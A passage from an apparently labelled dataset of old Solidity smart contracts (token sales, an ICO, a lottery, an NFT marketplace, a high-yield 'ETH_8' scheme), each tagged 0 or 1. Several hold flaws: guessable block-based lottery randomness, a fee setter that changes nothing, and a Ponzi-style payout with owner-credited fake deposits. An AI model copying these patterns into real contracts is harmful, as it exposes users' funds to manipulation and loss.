modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale4 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale4Finished = false;
address public multisig;
address public preSale = 0x02Dcc61022771015b1408323D29C790066CBe2e4;
address public preSale1 = 0xfafbb19945fc2d79828e4c5813a619d5683074ba;
address public preSale2 = 0x62451D37Ca2EC1f0499996Bc3C7e2BAF258E9729;
address public preSale3 = 0x72636c350431895fc6ee718b92bcc5b4fbd70304;
uint public rate;
uint public start;
uint public end;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale4() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
start = 1522047600;
end = 1523336400;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < end);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale4() public constant returns (uint) {
return this.balance;
}
function finishPreSale4() public onlyOwner returns (bool) {
if(now > end || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale4Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = tokens.mul(30).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 0 | 1,920 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event OwnershipTransferred(address indexed from, address indexed to);
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract TokenInterface {
function transfer(address to, uint256 value) public returns (bool);
}
contract ICO is Ownable {
using SafeMath for uint256;
string public website = "www.propvesta.com";
uint256 public rate;
uint256 public tokensSold;
address public fundsWallet = 0x304f970BaA307238A6a4F47caa9e0d82F082e3AD;
TokenInterface public constant PROV = TokenInterface(0x409Ec1FCd524480b3CaDf4331aF21A2cB3Db68c9);
function ICO() public {
rate = 20000000;
}
function changeRate(uint256 _newRate) public onlyOwner {
require(_newRate > 0 && rate != _newRate);
rate = _newRate;
}
function changeFundsWallet(address _fundsWallet) public onlyOwner returns(bool) {
fundsWallet = _fundsWallet;
return true;
}
event TokenPurchase(address indexed investor, uint256 tokensPurchased);
function buyTokens(address _investor) public payable {
require(msg.value >= 1e16);
uint256 exchangeRate = rate;
uint256 bonus = 0;
uint256 investment = msg.value;
uint256 remainder = 0;
if(investment >= 1e18 && investment < 2e18) {
bonus = 30;
} else if(investment >= 2e18 && investment < 3e18) {
bonus = 35;
} else if(investment >= 3e18 && investment < 4e18) {
bonus = 40;
} else if(investment >= 4e18 && investment < 5e18) {
bonus = 45;
} else if(investment >= 5e18) {
bonus = 50;
}
exchangeRate = rate.mul(bonus).div(100).add(rate);
uint256 toTransfer = 0;
if(investment > 10e18) {
uint256 bonusCap = 10e18;
toTransfer = bonusCap.mul(exchangeRate);
remainder = investment.sub(bonusCap);
toTransfer = toTransfer.add(remainder.mul(rate));
} else {
toTransfer = investment.mul(exchangeRate);
}
PROV.transfer(_investor, toTransfer);
TokenPurchase(_investor, toTransfer);
tokensSold = tokensSold.add(toTransfer);
fundsWallet.transfer(investment);
}
function() public payable {
buyTokens(msg.sender);
}
function getTokensSold() public view returns(uint256) {
return tokensSold;
}
event TokensWithdrawn(uint256 totalPROV);
function withdrawPROV(uint256 _value) public onlyOwner {
PROV.transfer(fundsWallet, _value);
TokensWithdrawn(_value);
}
} | 1 | 4,092 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Wallet is Ownable {
using SafeMath for uint256;
LotteryData public lotteryData;
uint256 public minPaymnent = 10**16;
function setMinPayment(uint256 value) public onlyOwner {
minPaymnent = value;
}
constructor() public {
lotteryData = LotteryData(msg.sender);
}
function() payable external {
require(msg.value >= minPaymnent);
lotteryData.participate(msg.sender, msg.value);
}
function finishDay() external returns(uint256) {
require(msg.sender == address(lotteryData));
uint256 balance = address(this).balance;
if (balance >= minPaymnent) {
lotteryData.getFunds.value(balance)();
return balance;
}
else {
return 0;
}
}
}
contract LotteryData is Ownable {
using SafeMath for uint256;
event Withdrawn(address indexed payee, uint256 weiAmount);
event Deposited(address indexed payee, uint256 weiAmount);
event WinnerWallet(address indexed wallet, uint256 bank);
Wallet public wallet_0 = new Wallet();
Wallet public wallet_1 = new Wallet();
Wallet public wallet_2 = new Wallet();
uint256 public finishTime;
uint256 constant roundTime = 86400;
uint internal dilemma;
uint internal max_participators = 100;
uint internal participators;
uint internal randNonce = 19;
uint internal winner;
uint internal winner_1;
uint internal winner_2;
uint256 internal fund;
uint256 internal commission;
uint256 internal totalBetsWithoutCommission;
mapping(uint => address) public wallets;
mapping(address => mapping (address => uint256)) public playersBets;
mapping(address => mapping (uint => address)) public players;
mapping(address => uint256) public totalBets;
mapping(address => uint) public totalPlayers;
mapping(address => uint256) private _deposits;
uint public games;
struct wins{
address winner;
uint256 time;
}
mapping(uint => wins) public gamesLog;
constructor() public {
wallets[0] = address(wallet_0);
wallets[1] = address(wallet_1);
wallets[2] = address(wallet_2);
finishTime = now.add(roundTime);
}
modifier validWallets() {
require(
msg.sender == address(wallet_0) ||
msg.sender == address(wallet_1) ||
msg.sender == address(wallet_2)
);
_;
}
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee, uint256 amount) internal {
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function getFunds() public payable validWallets {}
function lastWinner() public view returns(address) {
return gamesLog[games].winner;
}
function getRandomWallet() internal returns(uint) {
uint result = uint(keccak256(abi.encodePacked(now, randNonce, blockhash(block.number - 1)))) % 3;
randNonce = randNonce.add(result.add(2));
return result;
}
function _fundriser() internal returns(uint256) {
fund = fund.add(wallet_0.finishDay());
fund = fund.add(wallet_1.finishDay());
return fund.add(wallet_2.finishDay());
}
function _randomizer() internal returns(uint) {
winner = getRandomWallet();
if(totalPlayers[wallets[winner]] == 0) {
dilemma = uint(keccak256(abi.encodePacked(now, winner, blockhash(block.number - 1)))) % 2;
if(winner == 0) {
if(dilemma == 1) {
winner_1 = 2;
winner_2 = 1;
} else {
winner_1 = 1;
winner_2 = 2;
}
}
if(winner == 1) {
if(dilemma == 1) {
winner_1 = 2;
winner_2 = 0;
} else {
winner_1 = 0;
winner_2 = 2;
}
}
if(winner == 2) {
if(dilemma == 1) {
winner_1 = 1;
winner_2 = 0;
} else {
winner_1 = 0;
winner_2 = 1;
}
}
winner = (totalPlayers[wallets[winner_1]] == 0) ? winner_2 : winner_1;
}
return winner;
}
function _distribute() internal {
commission = fund.mul(15).div(100);
totalBetsWithoutCommission = fund.sub(commission);
deposit(owner, commission);
for (uint i = 0; i < totalPlayers[wallets[winner]]; i++) {
uint percents = playersBets[wallets[winner]][players[wallets[winner]][i]].mul(10000).div(totalBets[wallets[winner]]);
deposit(players[wallets[winner]][i], totalBetsWithoutCommission.mul(percents).div(10000));
}
}
function _collector() internal {
fund = 0;
participators = 0;
totalBets[wallets[0]] = 0;
for (uint j = 0; j < 3; j++) {
for (uint k = 0; k < totalPlayers[wallets[j]]; k++) {
playersBets[wallets[j]][players[wallets[j]][k]] = 0;
players[wallets[j]][k] = address(0x0);
}
totalBets[wallets[j]] = 0;
totalPlayers[wallets[j]] = 0;
}
}
function _logger(address _winner, uint256 _fund) internal {
games = games + 1;
gamesLog[games].winner =_winner;
gamesLog[games].time = now;
emit WinnerWallet(_winner, _fund);
}
function participate(address player, uint256 amount) external validWallets {
if (now >= finishTime || participators >= max_participators) {
fund = _fundriser();
if(fund > 0) {
winner = _randomizer();
_distribute();
_collector();
_logger(wallets[winner], fund);
}
finishTime = finishTime.add(roundTime);
}
if (playersBets[msg.sender][player] == 0) {
players[msg.sender][totalPlayers[msg.sender]] = player;
totalPlayers[msg.sender] = totalPlayers[msg.sender].add(1);
participators = participators.add(1);
}
playersBets[msg.sender][player] = playersBets[msg.sender][player].add(amount);
totalBets[msg.sender] = totalBets[msg.sender].add(amount);
}
function withdraw() public {
uint256 payment = _deposits[msg.sender];
_deposits[msg.sender] = 0;
msg.sender.transfer(payment);
emit Withdrawn(msg.sender, payment);
}
function paymentValidator(address _payee, uint256 _amount) internal {
if(_payee != address(wallet_0) &&
_payee != address(wallet_1) &&
_payee != address(wallet_2))
{
if(_amount == uint(0)) {
if(depositsOf(_payee) != uint(0)) {
withdraw();
} else {
revert("You have zero balance");
}
} else {
revert("You can't do nonzero transaction");
}
}
}
function() external payable {
paymentValidator(msg.sender, msg.value);
}
} | 1 | 3,830 |
pragma solidity ^0.4.24;
contract ReentrancyGuard {
uint private constant REENTRANCY_GUARD_FREE = 1;
uint private constant REENTRANCY_GUARD_LOCKED = 2;
uint private reentrancyLock = REENTRANCY_GUARD_FREE;
modifier nonReentrant() {
require(reentrancyLock == REENTRANCY_GUARD_FREE);
reentrancyLock = REENTRANCY_GUARD_LOCKED;
_;
reentrancyLock = REENTRANCY_GUARD_FREE;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract JobsBounty is Ownable, ReentrancyGuard {
using SafeMath for uint256;
string public companyName;
string public jobPost;
uint public endDate;
address public INDToken;
constructor(string _companyName,
string _jobPost,
uint _endDate,
address _INDToken
) public{
companyName = _companyName;
jobPost = _jobPost ;
endDate = _endDate;
INDToken = _INDToken;
}
function ownBalance() public view returns(uint256) {
return SafeMath.div(ERC20(INDToken).balanceOf(this),1 ether);
}
function payOutBounty(address _referrerAddress, address _candidateAddress) external onlyOwner nonReentrant returns(bool){
assert(block.timestamp >= endDate);
assert(_referrerAddress != address(0x0));
assert(_candidateAddress != address(0x0));
uint256 individualAmounts = SafeMath.mul(SafeMath.div((ERC20(INDToken).balanceOf(this)),100),50);
assert(ERC20(INDToken).transfer(_candidateAddress, individualAmounts));
assert(ERC20(INDToken).transfer(_referrerAddress, individualAmounts));
return true;
}
function withdrawERC20Token(address anyToken) external onlyOwner nonReentrant returns(bool){
assert(block.timestamp >= endDate);
assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this)));
return true;
}
function withdrawEther() external onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
owner.transfer(address(this).balance);
}
return true;
}
} | 0 | 1,701 |
pragma solidity ^0.4.25;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ERC20BasicInterface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
uint8 public decimals;
}
contract Bussiness is Ownable {
IERC721 public erc721Address = IERC721(0x5d00d312e171be5342067c09bae883f9bcb2003b);
ERC20BasicInterface public usdtToken = ERC20BasicInterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
uint256 public ETHFee = 2;
uint256 public HBWALLETFee = 1;
uint256 public balance = address(this).balance;
constructor() public {}
struct Price {
address tokenOwner;
uint256 price;
uint256 fee;
}
mapping(uint256 => Price) public prices;
mapping(uint256 => Price) public usdtPrices;
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _usdtPrice) public {
require(erc721Address.ownerOf(_tokenId) == msg.sender);
prices[_tokenId] = Price(msg.sender, _ethPrice, 0);
usdtPrices[_tokenId] = Price(msg.sender, _usdtPrice, 0);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
if(prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / 100;
require(msg.value == ethfee);
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / 100;
prices[_tokenId] = Price(msg.sender, _ethPrice, ethfee);
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function getPrice(uint256 tokenId) public returns (address, address, uint256, uint256){
address currentOwner = erc721Address.ownerOf(tokenId);
if(prices[tokenId].tokenOwner != currentOwner){
resetPrice(tokenId);
}
return (currentOwner, prices[tokenId].tokenOwner, prices[tokenId].price, usdtPrices[tokenId].price);
}
function setFee(uint256 _ethFee, uint256 _hbWalletFee) public view onlyOwner returns (uint256 ETHFee, uint256 HBWALLETFee){
require(_ethFee > 0 && _hbWalletFee > 0);
ETHFee = _ethFee;
HBWALLETFee = _hbWalletFee;
return (ETHFee, HBWALLETFee);
}
function withdraw(address _address, uint256 amount) public onlyOwner {
require(_address != address(0) && amount > 0 && address(this).balance > amount);
_address.transfer(amount);
}
function buy(uint256 tokenId) public payable {
require(erc721Address.getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyByUsdt(uint256 tokenId) public {
require(usdtPrices[tokenId].price > 0 && erc721Address.getApproved(tokenId) == address(this));
require(usdtToken.transferFrom(msg.sender, usdtPrices[tokenId].tokenOwner, usdtPrices[tokenId].price));
erc721Address.transferFrom(usdtPrices[tokenId].tokenOwner, msg.sender, tokenId);
resetPrice(tokenId);
}
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0);
usdtPrices[tokenId] = Price(address(0), 0, 0);
}
} | 1 | 2,161 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Proxy {
using SafeMath for uint256;
uint256 public contribution = 0;
ETH_8 eth_8;
constructor() public {
eth_8 = ETH_8(msg.sender);
}
function() public payable {
if(msg.value == 0) {
eth_8.withdrawDividends(msg.sender);
return;
}
address newReferrer = _bytesToAddress(msg.data);
contribution = contribution.add(msg.value);
eth_8.doInvest(msg.sender, msg.value, newReferrer);
address(eth_8).transfer(msg.value);
}
function _bytesToAddress(bytes data) private pure returns(address addr) {
assembly {
addr := mload(add(data, 20))
}
}
function resetContribution() external {
require(msg.sender == eth_8.owner());
contribution = 0;
}
}
contract ETH_8 {
using SafeMath for uint256;
uint256 constant public ONE_HUNDRED_PERCENTS = 10000;
uint256[] public DAILY_INTEREST = [111, 133, 222, 333, 444];
uint256 public MARKETING_AND_TEAM_FEE = 1000;
uint256 public referralPercents = 1000;
uint256 constant public MAX_DIVIDEND_RATE = 25000;
uint256 constant public MINIMUM_DEPOSIT = 100 finney;
uint256 public wave = 0;
uint256 public totalInvest = 0;
uint256 public totalDividend = 0;
mapping(address => bool) public isProxy;
struct Deposit {
uint256 amount;
uint256 interest;
uint256 withdrawedRate;
}
struct User {
address referrer;
uint256 referralAmount;
uint256 firstTime;
uint256 lastPayment;
Deposit[] deposits;
uint256 referBonus;
}
address public marketingAndTechnicalSupport = 0xFaea7fa229C29526698657e7Ab7063E20581A50c;
address public owner = 0xbBdE48b0c31dA0DD601DA38F31dcf92b04f42588;
mapping(uint256 => mapping(address => User)) public users;
event InvestorAdded(address indexed investor);
event ReferrerAdded(address indexed investor, address indexed referrer);
event DepositAdded(address indexed investor, uint256 indexed depositsCount, uint256 amount);
event UserDividendPayed(address indexed investor, uint256 dividend);
event DepositDividendPayed(address indexed investor, uint256 indexed index, uint256 deposit, uint256 totalPayed, uint256 dividend);
event FeePayed(address indexed investor, uint256 amount);
event BalanceChanged(uint256 balance);
event NewWave();
function() public payable {
require(isProxy[msg.sender]);
}
function withdrawDividends(address from) public {
require(isProxy[msg.sender]);
uint256 dividendsSum = getDividends(from);
require(dividendsSum > 0);
if (address(this).balance <= dividendsSum) {
wave = wave.add(1);
totalInvest = 0;
dividendsSum = address(this).balance;
emit NewWave();
}
from.transfer(dividendsSum);
emit UserDividendPayed(from, dividendsSum);
emit BalanceChanged(address(this).balance);
}
function getDividends(address wallet) internal returns(uint256 sum) {
User storage user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawRate = dividendRate(wallet, i);
user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
wallet,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
sum = sum.add(user.referBonus);
user.referBonus = 0;
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest(address from, uint256 investment, address newReferrer) public payable {
require(isProxy[msg.sender]);
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
if (user.referrer == address(0)
&& user.firstTime == now
&& newReferrer != address(0)
&& newReferrer != from
&& users[wave][newReferrer].firstTime > 0
) {
user.referrer = newReferrer;
emit ReferrerAdded(from, newReferrer);
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
user.referrer.transfer(refAmount);
}
investment = investment.add(getDividends(from));
totalInvest = totalInvest.add(investment);
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, investment);
uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(from, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = dividendsSum.add(user.referBonus);
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
function createProxy() external {
require(msg.sender == owner);
Proxy newProxy = new Proxy();
isProxy[address(newProxy)] = true;
}
} | 0 | 1,136 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
